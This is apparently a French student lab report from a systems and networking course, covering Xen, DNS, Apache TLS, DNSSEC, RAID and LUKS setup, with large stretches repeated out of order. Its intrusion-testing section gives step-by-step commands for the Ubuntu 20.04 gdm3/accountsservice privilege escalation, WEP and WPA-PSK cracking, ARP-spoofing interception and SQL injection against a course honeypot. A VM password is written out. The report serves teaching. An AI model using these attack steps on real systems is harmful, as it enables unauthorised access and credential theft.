Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==4.4 Sécurisation de serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

on signe ensuite les enregistrement de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==

Fait, à remplir

TP sysres IMA5sc 2020/2021 G8

2020-12-06T01:14:12Z

Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */

Fichier:Dnssec1.png

2020-12-06T01:11:35Z

Jsoulaim :

TP sysres IMA5sc 2020/2021 G8

2020-12-06T01:10:02Z

Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==4.3 Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==4.4 Sécurisation de serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

on signe ensuite les enregistrement de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :
